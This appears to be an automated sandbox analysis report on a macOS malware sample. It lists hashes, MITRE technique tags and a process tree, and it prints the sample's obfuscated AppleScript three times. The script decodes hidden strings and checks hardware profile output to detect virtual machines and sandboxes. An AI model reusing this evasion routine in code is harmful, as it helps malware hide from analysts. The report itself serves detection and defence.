a3290a59e9a7dc0a648de6d3557e348843e5d598bfa5f16f20bd585c37db025e

General

Target
sample.bin
Size 2.7MB
Sample260511-ymtfpac13r
SHA256 a3290a59e9a7dc0a648de6d3557e348843e5d598bfa5f16f20bd585c37db025e
MD5 17abf20a17c023a1081fe74ec88c5063
SHA1 b03e033d6c6d8d2cf7c3c0654afe10609935caff
SHA512 e1d4e036f240fad212cb644323b314cbcc7fbf4532fd8c741702730cc0d6c7c47f57bfd2b24ff880ff1914459d9e5badded34e1464d612f30bde336e23307d9e
SSDEEP 49152:J6eoyLMi41r2S3JxlZZabJhVJL6eooLMi41T2SFJplDZabHhV:AenQFiGxUnVJeeXQFqepSNV
TLSH
T1D3D51267D33B6A6EC873E2790740D4C6346EAC4E99F08266B5426C0FB47C96C235DCA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

System Checks 1 TTPs 2 IoCs

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

defense_evasion

System Checks

T1497.001

ioc	Process
sh -c "system_profiler SPHardwareDataType"	Process not Found
system_profiler SPHardwareDataType	Process not Found

AppleScript 1 TTPs 1 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
osascript -e " on lbplwf(qqqvsoncm, wlpaxkz) set eyknuktcr to \"\" set lndzkzqm to 0 repeat with zjhkyiz from 1 to count of qqqvsoncm set lndzkzqm to (lndzkzqm + (item zjhkyiz of qqqvsoncm)) mod 9999 set eyknuktcr to eyknuktcr & (character id ((item zjhkyiz of qqqvsoncm) - (item zjhkyiz of wlpaxkz))) end repeat return eyknuktcr end lbplwf set gybpwc to lbplwf({313, 192, 184, 279, 156, 195, 191, 230, 247, 350, 300, 255, 293, 237, 256}, {198, 71, 69, 163, 55, 86, 96, 118, 133, 239, 198, 150, 185, 136, 142}) & \" \" & lbplwf({299, 275, 287, 346, 288, 323, 335, 335, 178, 174, 167, 236, 226, 369, 318, 316}, {216, 195, 210, 245, 179, 212, 221, 214, 110, 77, 51, 139, 142, 248, 206, 215}) set hvxnpma to lbplwf({313, 192, 184, 279, 156, 195, 191, 230, 247, 350, 300, 255, 293, 237, 256}, {198, 71, 69, 163, 55, 86, 96, 118, 133, 239, 198, 150, 185, 136, 142}) & \" \" & lbplwf({292, 165, 224, 255, 359, 182, 356, 340, 169, 187, 179, 305, 289, 306, 191, 240, 334, 214}, {209, 85, 152, 158, 245, 82, 237, 243, 55, 86, 111, 208, 173, 209, 107, 119, 222, 113}) set sldxcnz to do shell script gybpwc set hmwllrbbnl to do shell script hvxnpma if hmwllrbbnl contains lbplwf({155, 313, 251, 267, 301, 198, 250, 211, 326, 282}, {65, 243, 199, 199, 217, 124, 168, 143, 249, 212}) then do shell script \"exit 0\" return end if if hmwllrbbnl contains lbplwf({190, 190, 245, 129, 192, 293, 195, 127, 258, 104, 246, 235, 285, 203, 292, 222, 154, 229, 126, 306, 293, 156, 242, 128, 213, 208, 165, 297, 298, 244, 177, 253, 199, 222, 171, 211}, {141, 136, 193, 80, 135, 243, 139, 74, 213, 54, 191, 186, 236, 158, 239, 168, 84, 174, 81, 241, 236, 87, 174, 83, 143, 156, 116, 228, 243, 191, 127, 184, 150, 174, 123, 154}) then do shell script \"exit 0\" return end if set scplsic to {lbplwf({274, 246, 228, 299}, {193, 177, 151, 214}), lbplwf({189, 234, 210, 323, 305, 218}, {103, 157, 91, 226, 191, 117}), lbplwf({144, 164, 310}, {69, 78, 233})} set jvxoljlnxs to {lbplwf({316, 272, 187, 280, 148, 257, 326, 286, 215, 193}, {226, 221, 138, 210, 76, 169, 237, 205, 167, 119}), lbplwf({265, 241, 170, 313, 281, 125, 124, 201, 138, 268, 181, 214}, {198, 193, 115, 229, 228, 77, 68, 117, 67, 219, 107, 164}), lbplwf({127, 256, 241, 247, 173, 298, 199, 288, 241, 142, 140, 117}, {60, 208, 191, 163, 96, 248, 109, 222, 169, 54, 84, 62}), lbplwf({308, 260, 262, 195, 273, 278, 306, 204, 324, 270, 193, 350, 316}, {241, 156, 157, 83, 215, 246, 221, 94, 217, 160, 82, 231, 206}), lbplwf({128, 347, 344, 172, 199, 92, 242, 197, 276, 275, 200, 256}, {55, 237, 228, 71, 91, 60, 175, 86, 162, 174, 168, 206}), lbplwf({220, 191, 178, 246, 359, 264, 196, 242, 217, 202, 303, 179, 224, 196, 207}, {134, 86, 64, 130, 242, 167, 88, 210, 140, 105, 204, 75, 119, 86, 106}), lbplwf({178, 335, 263, 355, 332, 260, 340, 149, 204, 160}, {92, 230, 149, 239, 215, 163, 232, 72, 107, 61}), lbplwf({122, 321, 220, 225, 218, 273, 194, 350, 123}, {82, 235, 115, 111, 102, 156, 97, 242, 82})} set moigitchj to false repeat with aoiiuu in scplsic if sldxcnz contains aoiiuu then set moigitchj to true exit repeat end if end repeat if not moigitchj then repeat with aoiiuu in jvxoljlnxs if hmwllrbbnl contains aoiiuu then set moigitchj to true exit repeat end if end repeat end if if moigitchj then do shell script \"exit 100\" else do shell script \"exit 0\" end if "	Process not Found

ioc

Process

osascript -e " on lbplwf(qqqvsoncm, wlpaxkz) set eyknuktcr to \"\" set lndzkzqm to 0 repeat with zjhkyiz from 1 to count of qqqvsoncm set lndzkzqm to (lndzkzqm + (item zjhkyiz of qqqvsoncm)) mod 9999 set eyknuktcr to eyknuktcr & (character id ((item zjhkyiz of qqqvsoncm) - (item zjhkyiz of wlpaxkz))) end repeat return eyknuktcr end lbplwf set gybpwc to lbplwf({313, 192, 184, 279, 156, 195, 191, 230, 247, 350, 300, 255, 293, 237, 256}, {198, 71, 69, 163, 55, 86, 96, 118, 133, 239, 198, 150, 185, 136, 142}) & \" \" & lbplwf({299, 275, 287, 346, 288, 323, 335, 335, 178, 174, 167, 236, 226, 369, 318, 316}, {216, 195, 210, 245, 179, 212, 221, 214, 110, 77, 51, 139, 142, 248, 206, 215}) set hvxnpma to lbplwf({313, 192, 184, 279, 156, 195, 191, 230, 247, 350, 300, 255, 293, 237, 256}, {198, 71, 69, 163, 55, 86, 96, 118, 133, 239, 198, 150, 185, 136, 142}) & \" \" & lbplwf({292, 165, 224, 255, 359, 182, 356, 340, 169, 187, 179, 305, 289, 306, 191, 240, 334, 214}, {209, 85, 152, 158, 245, 82, 237, 243, 55, 86, 111, 208, 173, 209, 107, 119, 222, 113}) set sldxcnz to do shell script gybpwc set hmwllrbbnl to do shell script hvxnpma if hmwllrbbnl contains lbplwf({155, 313, 251, 267, 301, 198, 250, 211, 326, 282}, {65, 243, 199, 199, 217, 124, 168, 143, 249, 212}) then do shell script \"exit 0\" return end if if hmwllrbbnl contains lbplwf({190, 190, 245, 129, 192, 293, 195, 127, 258, 104, 246, 235, 285, 203, 292, 222, 154, 229, 126, 306, 293, 156, 242, 128, 213, 208, 165, 297, 298, 244, 177, 253, 199, 222, 171, 211}, {141, 136, 193, 80, 135, 243, 139, 74, 213, 54, 191, 186, 236, 158, 239, 168, 84, 174, 81, 241, 236, 87, 174, 83, 143, 156, 116, 228, 243, 191, 127, 184, 150, 174, 123, 154}) then do shell script \"exit 0\" return end if set scplsic to {lbplwf({274, 246, 228, 299}, {193, 177, 151, 214}), lbplwf({189, 234, 210, 323, 305, 218}, {103, 157, 91, 226, 191, 117}), lbplwf({144, 164, 310}, {69, 78, 233})} set jvxoljlnxs to {lbplwf({316, 272, 187, 280, 148, 257, 326, 286, 215, 193}, {226, 221, 138, 210, 76, 169, 237, 205, 167, 119}), lbplwf({265, 241, 170, 313, 281, 125, 124, 201, 138, 268, 181, 214}, {198, 193, 115, 229, 228, 77, 68, 117, 67, 219, 107, 164}), lbplwf({127, 256, 241, 247, 173, 298, 199, 288, 241, 142, 140, 117}, {60, 208, 191, 163, 96, 248, 109, 222, 169, 54, 84, 62}), lbplwf({308, 260, 262, 195, 273, 278, 306, 204, 324, 270, 193, 350, 316}, {241, 156, 157, 83, 215, 246, 221, 94, 217, 160, 82, 231, 206}), lbplwf({128, 347, 344, 172, 199, 92, 242, 197, 276, 275, 200, 256}, {55, 237, 228, 71, 91, 60, 175, 86, 162, 174, 168, 206}), lbplwf({220, 191, 178, 246, 359, 264, 196, 242, 217, 202, 303, 179, 224, 196, 207}, {134, 86, 64, 130, 242, 167, 88, 210, 140, 105, 204, 75, 119, 86, 106}), lbplwf({178, 335, 263, 355, 332, 260, 340, 149, 204, 160}, {92, 230, 149, 239, 215, 163, 232, 72, 107, 61}), lbplwf({122, 321, 220, 225, 218, 273, 194, 350, 123}, {82, 235, 115, 111, 102, 156, 97, 242, 82})} set moigitchj to false repeat with aoiiuu in scplsic if sldxcnz contains aoiiuu then set moigitchj to true exit repeat end if end repeat if not moigitchj then repeat with aoiiuu in jvxoljlnxs if hmwllrbbnl contains aoiiuu then set moigitchj to true exit repeat end if end repeat end if if moigitchj then do shell script \"exit 100\" else do shell script \"exit 0\" end if "

Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/sample.bin\""
1⤵
PID:497

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/sample.bin\""
1⤵
PID:497

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/sample.bin
1⤵
PID:497
- /bin/zsh
  /bin/zsh -c /Users/run/sample.bin
  2⤵
  PID:499
- /Users/run/sample.bin
  /Users/run/sample.bin
  2⤵
  PID:499
- - /bin/bash
    /bin/bash -s
    3⤵
    PID:500
  - - /usr/bin/osascript
      osascript -e " on lbplwf(qqqvsoncm, wlpaxkz) set eyknuktcr to \"\" set lndzkzqm to 0 repeat with zjhkyiz from 1 to count of qqqvsoncm set lndzkzqm to (lndzkzqm + (item zjhkyiz of qqqvsoncm)) mod 9999 set eyknuktcr to eyknuktcr & (character id ((item zjhkyiz of qqqvsoncm) - (item zjhkyiz of wlpaxkz))) end repeat return eyknuktcr end lbplwf set gybpwc to lbplwf({313, 192, 184, 279, 156, 195, 191, 230, 247, 350, 300, 255, 293, 237, 256}, {198, 71, 69, 163, 55, 86, 96, 118, 133, 239, 198, 150, 185, 136, 142}) & \" \" & lbplwf({299, 275, 287, 346, 288, 323, 335, 335, 178, 174, 167, 236, 226, 369, 318, 316}, {216, 195, 210, 245, 179, 212, 221, 214, 110, 77, 51, 139, 142, 248, 206, 215}) set hvxnpma to lbplwf({313, 192, 184, 279, 156, 195, 191, 230, 247, 350, 300, 255, 293, 237, 256}, {198, 71, 69, 163, 55, 86, 96, 118, 133, 239, 198, 150, 185, 136, 142}) & \" \" & lbplwf({292, 165, 224, 255, 359, 182, 356, 340, 169, 187, 179, 305, 289, 306, 191, 240, 334, 214}, {209, 85, 152, 158, 245, 82, 237, 243, 55, 86, 111, 208, 173, 209, 107, 119, 222, 113}) set sldxcnz to do shell script gybpwc set hmwllrbbnl to do shell script hvxnpma if hmwllrbbnl contains lbplwf({155, 313, 251, 267, 301, 198, 250, 211, 326, 282}, {65, 243, 199, 199, 217, 124, 168, 143, 249, 212}) then do shell script \"exit 0\" return end if if hmwllrbbnl contains lbplwf({190, 190, 245, 129, 192, 293, 195, 127, 258, 104, 246, 235, 285, 203, 292, 222, 154, 229, 126, 306, 293, 156, 242, 128, 213, 208, 165, 297, 298, 244, 177, 253, 199, 222, 171, 211}, {141, 136, 193, 80, 135, 243, 139, 74, 213, 54, 191, 186, 236, 158, 239, 168, 84, 174, 81, 241, 236, 87, 174, 83, 143, 156, 116, 228, 243, 191, 127, 184, 150, 174, 123, 154}) then do shell script \"exit 0\" return end if set scplsic to {lbplwf({274, 246, 228, 299}, {193, 177, 151, 214}), lbplwf({189, 234, 210, 323, 305, 218}, {103, 157, 91, 226, 191, 117}), lbplwf({144, 164, 310}, {69, 78, 233})} set jvxoljlnxs to {lbplwf({316, 272, 187, 280, 148, 257, 326, 286, 215, 193}, {226, 221, 138, 210, 76, 169, 237, 205, 167, 119}), lbplwf({265, 241, 170, 313, 281, 125, 124, 201, 138, 268, 181, 214}, {198, 193, 115, 229, 228, 77, 68, 117, 67, 219, 107, 164}), lbplwf({127, 256, 241, 247, 173, 298, 199, 288, 241, 142, 140, 117}, {60, 208, 191, 163, 96, 248, 109, 222, 169, 54, 84, 62}), lbplwf({308, 260, 262, 195, 273, 278, 306, 204, 324, 270, 193, 350, 316}, {241, 156, 157, 83, 215, 246, 221, 94, 217, 160, 82, 231, 206}), lbplwf({128, 347, 344, 172, 199, 92, 242, 197, 276, 275, 200, 256}, {55, 237, 228, 71, 91, 60, 175, 86, 162, 174, 168, 206}), lbplwf({220, 191, 178, 246, 359, 264, 196, 242, 217, 202, 303, 179, 224, 196, 207}, {134, 86, 64, 130, 242, 167, 88, 210, 140, 105, 204, 75, 119, 86, 106}), lbplwf({178, 335, 263, 355, 332, 260, 340, 149, 204, 160}, {92, 230, 149, 239, 215, 163, 232, 72, 107, 61}), lbplwf({122, 321, 220, 225, 218, 273, 194, 350, 123}, {82, 235, 115, 111, 102, 156, 97, 242, 82})} set moigitchj to false repeat with aoiiuu in scplsic if sldxcnz contains aoiiuu then set moigitchj to true exit repeat end if end repeat if not moigitchj then repeat with aoiiuu in jvxoljlnxs if hmwllrbbnl contains aoiiuu then set moigitchj to true exit repeat end if end repeat end if if moigitchj then do shell script \"exit 100\" else do shell script \"exit 0\" end if "
      4⤵
      PID:501